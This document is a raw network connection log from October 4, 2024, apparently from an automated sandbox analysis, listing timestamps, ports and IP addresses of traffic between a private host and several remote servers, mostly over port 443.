Oct 4, 2024 15:53:47.068885088 CEST	49791	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.091607094 CEST	443	49793	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.092283964 CEST	49791	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.092314005 CEST	443	49791	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.092325926 CEST	49791	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.092334986 CEST	443	49791	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.118453026 CEST	49793	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.118472099 CEST	443	49793	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.119570971 CEST	49793	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.119584084 CEST	443	49793	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.119872093 CEST	443	49792	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.121231079 CEST	49792	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.121252060 CEST	443	49792	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.121990919 CEST	49792	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.121998072 CEST	443	49792	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.170960903 CEST	49797	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.171013117 CEST	443	49797	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.171159029 CEST	49797	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.178819895 CEST	49797	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.178843975 CEST	443	49797	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.207171917 CEST	443	49794	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.209630013 CEST	49794	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.209647894 CEST	443	49794	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.210249901 CEST	443	49795	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.210644007 CEST	49794	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.210652113 CEST	443	49794	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.215508938 CEST	443	49793	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.215528011 CEST	443	49793	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.215748072 CEST	443	49793	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.215801954 CEST	49793	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.216068983 CEST	49793	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.216430902 CEST	49793	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.216430902 CEST	49793	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.216454029 CEST	443	49793	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.216465950 CEST	443	49793	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.221160889 CEST	443	49792	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.221230030 CEST	443	49792	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.221291065 CEST	49792	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.221743107 CEST	49792	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.221762896 CEST	443	49792	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.221772909 CEST	49792	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.221779108 CEST	443	49792	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.225728035 CEST	49795	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.225742102 CEST	443	49795	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.226423979 CEST	49795	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.226430893 CEST	443	49795	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.239964008 CEST	49798	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.240020037 CEST	443	49798	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.240111113 CEST	49798	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.242417097 CEST	49799	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.242468119 CEST	443	49799	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.242546082 CEST	49799	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.242820978 CEST	49799	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.242835999 CEST	443	49799	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.246418953 CEST	49798	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.246468067 CEST	443	49798	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.311803102 CEST	443	49794	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.311908007 CEST	443	49794	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.312411070 CEST	49794	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.314186096 CEST	49794	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.314204931 CEST	443	49794	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.314220905 CEST	49794	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.314239025 CEST	443	49794	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.325256109 CEST	443	49795	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.325325012 CEST	443	49795	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.325401068 CEST	49795	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.330137968 CEST	49800	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.330173969 CEST	443	49800	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.330235958 CEST	49800	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.333650112 CEST	49795	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.333678961 CEST	443	49795	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.333692074 CEST	49795	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.333697081 CEST	443	49795	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.335171938 CEST	49800	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.335189104 CEST	443	49800	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.351123095 CEST	49801	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.351175070 CEST	443	49801	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.351237059 CEST	49801	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.352293015 CEST	49801	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.352318048 CEST	443	49801	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.593210936 CEST	80	49720	41.216.188.190	192.168.2.10
Oct 4, 2024 15:53:47.645065069 CEST	49720	80	192.168.2.10	41.216.188.190
Oct 4, 2024 15:53:47.810175896 CEST	49802	443	192.168.2.10	104.26.3.46
Oct 4, 2024 15:53:47.810235977 CEST	443	49802	104.26.3.46	192.168.2.10
Oct 4, 2024 15:53:47.810584068 CEST	49802	443	192.168.2.10	104.26.3.46
Oct 4, 2024 15:53:47.810960054 CEST	49802	443	192.168.2.10	104.26.3.46
Oct 4, 2024 15:53:47.810980082 CEST	443	49802	104.26.3.46	192.168.2.10
Oct 4, 2024 15:53:47.912338018 CEST	443	49799	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.914834976 CEST	443	49798	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.922314882 CEST	443	49797	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.957655907 CEST	49799	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.959405899 CEST	49798	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:47.973392010 CEST	49797	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.019526958 CEST	49799	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.019537926 CEST	443	49799	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.031790018 CEST	49799	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.031800032 CEST	443	49799	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.035913944 CEST	443	49801	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.043067932 CEST	443	49800	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.060404062 CEST	49801	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.060441017 CEST	443	49801	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.069073915 CEST	49801	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.069097996 CEST	443	49801	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.086256027 CEST	49800	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.090580940 CEST	49798	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.090594053 CEST	443	49798	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.099148035 CEST	49798	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.099158049 CEST	443	49798	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.099726915 CEST	49797	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.099734068 CEST	443	49797	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.100171089 CEST	49797	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.100174904 CEST	443	49797	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.103166103 CEST	49800	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.103178978 CEST	443	49800	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.103602886 CEST	49800	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.103610039 CEST	443	49800	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.126713991 CEST	443	49799	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.126732111 CEST	443	49799	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.126801014 CEST	49799	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.126807928 CEST	443	49799	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.128822088 CEST	49799	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.137505054 CEST	49799	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.137528896 CEST	443	49799	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.164046049 CEST	443	49801	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.164252996 CEST	443	49801	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.164324045 CEST	49801	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.194757938 CEST	443	49798	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.194780111 CEST	443	49798	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.194886923 CEST	49798	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.194900990 CEST	443	49798	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.194998026 CEST	49798	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.195103884 CEST	443	49798	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.195154905 CEST	443	49798	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.195203066 CEST	49798	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.199803114 CEST	443	49797	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.199827909 CEST	443	49797	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.199899912 CEST	443	49797	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.199942112 CEST	49797	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.200016022 CEST	49797	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.202542067 CEST	443	49800	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.202735901 CEST	443	49800	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.202812910 CEST	49800	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.257230043 CEST	49800	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.257252932 CEST	443	49800	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.257263899 CEST	49800	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.257270098 CEST	443	49800	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.259020090 CEST	49801	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.259044886 CEST	443	49801	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.259912968 CEST	49798	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.259932995 CEST	443	49798	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.260953903 CEST	49797	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.260962009 CEST	443	49797	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.275341034 CEST	443	49802	104.26.3.46	192.168.2.10
Oct 4, 2024 15:53:48.275404930 CEST	49802	443	192.168.2.10	104.26.3.46
Oct 4, 2024 15:53:48.281244993 CEST	49802	443	192.168.2.10	104.26.3.46
Oct 4, 2024 15:53:48.281260967 CEST	443	49802	104.26.3.46	192.168.2.10
Oct 4, 2024 15:53:48.281482935 CEST	443	49802	104.26.3.46	192.168.2.10
Oct 4, 2024 15:53:48.297964096 CEST	49802	443	192.168.2.10	104.26.3.46
Oct 4, 2024 15:53:48.339411974 CEST	443	49802	104.26.3.46	192.168.2.10
Oct 4, 2024 15:53:48.432454109 CEST	49803	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.432492018 CEST	443	49803	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.432558060 CEST	49803	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.436868906 CEST	49804	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.436897993 CEST	443	49804	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.436966896 CEST	49804	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.437800884 CEST	49805	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.437841892 CEST	443	49805	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.437895060 CEST	49805	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.438843012 CEST	49806	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.438859940 CEST	443	49806	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.438956022 CEST	49806	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.450171947 CEST	49803	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.450203896 CEST	443	49803	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.450352907 CEST	49804	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.450367928 CEST	443	49804	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.450931072 CEST	49805	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.450957060 CEST	443	49805	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.451231956 CEST	49806	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.451244116 CEST	443	49806	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.452107906 CEST	49807	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.452127934 CEST	443	49807	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.452188015 CEST	49807	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.452302933 CEST	49807	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:48.452310085 CEST	443	49807	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:48.768536091 CEST	443	49802	104.26.3.46	192.168.2.10
Oct 4, 2024 15:53:48.768637896 CEST	443	49802	104.26.3.46	192.168.2.10
Oct 4, 2024 15:53:48.768775940 CEST	49802	443	192.168.2.10	104.26.3.46
Oct 4, 2024 15:53:48.771611929 CEST	49802	443	192.168.2.10	104.26.3.46
Oct 4, 2024 15:53:48.771611929 CEST	49802	443	192.168.2.10	104.26.3.46
Oct 4, 2024 15:53:48.771637917 CEST	443	49802	104.26.3.46	192.168.2.10
Oct 4, 2024 15:53:48.771651030 CEST	443	49802	104.26.3.46	192.168.2.10
Oct 4, 2024 15:53:49.045247078 CEST	443	49806	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.046108007 CEST	49806	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.046137094 CEST	443	49806	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.047179937 CEST	49806	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.047184944 CEST	443	49806	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.049520969 CEST	49720	80	192.168.2.10	41.216.188.190
Oct 4, 2024 15:53:49.049947977 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:49.049973011 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:49.131616116 CEST	443	49807	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.132117033 CEST	443	49805	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.132616997 CEST	49807	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.132647991 CEST	443	49807	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.133305073 CEST	49807	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.133310080 CEST	443	49807	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.134612083 CEST	49805	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.134629965 CEST	443	49805	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.135317087 CEST	49805	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.135323048 CEST	443	49805	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.144679070 CEST	443	49806	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.144838095 CEST	443	49806	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.144905090 CEST	49806	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.146018982 CEST	49806	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.146039009 CEST	443	49806	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.146049023 CEST	49806	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.146054983 CEST	443	49806	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.150913000 CEST	49810	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.150954962 CEST	443	49810	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.151021957 CEST	49810	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.151293039 CEST	49810	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.151310921 CEST	443	49810	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.151762962 CEST	443	49804	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.152123928 CEST	49804	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.152144909 CEST	443	49804	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.152601004 CEST	49804	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.152606964 CEST	443	49804	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.169462919 CEST	443	49803	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.171683073 CEST	49803	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.171716928 CEST	443	49803	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.172204018 CEST	49803	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.172211885 CEST	443	49803	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.176351070 CEST	49677	443	192.168.2.10	20.42.65.85
Oct 4, 2024 15:53:49.231426001 CEST	443	49807	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.231687069 CEST	443	49807	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.231750011 CEST	49807	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.232569933 CEST	443	49805	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.232608080 CEST	49807	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.232625008 CEST	443	49807	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.232880116 CEST	443	49805	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.232947111 CEST	49805	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.237049103 CEST	49805	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.237096071 CEST	443	49805	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.237117052 CEST	49805	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.237124920 CEST	443	49805	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.242047071 CEST	49811	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.242085934 CEST	443	49811	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.242377996 CEST	49811	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.242377996 CEST	49811	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.242405891 CEST	443	49811	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.242810011 CEST	49812	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.242851973 CEST	443	49812	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.242990971 CEST	49812	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.243067026 CEST	49812	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.243077993 CEST	443	49812	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.257356882 CEST	443	49804	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.259553909 CEST	443	49804	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.259625912 CEST	49804	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.259735107 CEST	49804	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.259748936 CEST	443	49804	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.259758949 CEST	49804	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.259763956 CEST	443	49804	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.263762951 CEST	49813	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.263806105 CEST	443	49813	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.264035940 CEST	49813	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.264035940 CEST	49813	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.264069080 CEST	443	49813	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.274389029 CEST	443	49803	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.274693012 CEST	443	49803	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.274796009 CEST	49803	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.274990082 CEST	49803	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.275017023 CEST	443	49803	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.275054932 CEST	49803	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.275062084 CEST	443	49803	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.278932095 CEST	49814	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.278963089 CEST	443	49814	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.279144049 CEST	49814	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.279601097 CEST	49814	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.279618979 CEST	443	49814	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.795576096 CEST	443	49810	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.796542883 CEST	49810	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.796566963 CEST	443	49810	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.797898054 CEST	49810	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.797908068 CEST	443	49810	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.894113064 CEST	443	49811	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.895332098 CEST	443	49810	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.895524979 CEST	443	49810	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.895890951 CEST	49810	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.904371977 CEST	443	49813	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.925102949 CEST	49811	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.925103903 CEST	49811	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.925137043 CEST	443	49811	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.925157070 CEST	443	49811	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.925565958 CEST	49810	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.925597906 CEST	443	49810	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.925628901 CEST	49810	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.925636053 CEST	443	49810	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.929305077 CEST	49813	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.929356098 CEST	443	49813	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.929830074 CEST	49813	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.929835081 CEST	443	49813	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.945029020 CEST	443	49814	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.945462942 CEST	49816	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.945521116 CEST	443	49816	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.945697069 CEST	49816	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.946125984 CEST	49816	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.946146965 CEST	443	49816	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.947746992 CEST	49814	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.947757006 CEST	443	49814	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:49.948312044 CEST	49814	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:49.948316097 CEST	443	49814	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.029354095 CEST	443	49811	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.029401064 CEST	443	49813	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.029419899 CEST	443	49811	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.029432058 CEST	443	49813	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.029485941 CEST	443	49813	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.029491901 CEST	49813	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.029500008 CEST	49811	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.029555082 CEST	49813	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.029906034 CEST	49813	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.029922962 CEST	443	49813	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.029953003 CEST	49813	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.029958963 CEST	443	49813	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.030015945 CEST	49811	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.030015945 CEST	49811	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.030033112 CEST	443	49811	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.030044079 CEST	443	49811	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.034621954 CEST	49818	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.034660101 CEST	443	49818	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.034765959 CEST	49818	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.034898043 CEST	49819	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.034941912 CEST	443	49819	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:50.035425901 CEST	49818	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:50.035437107 CEST	443	49818	13.107.246.60	192.168.2.10
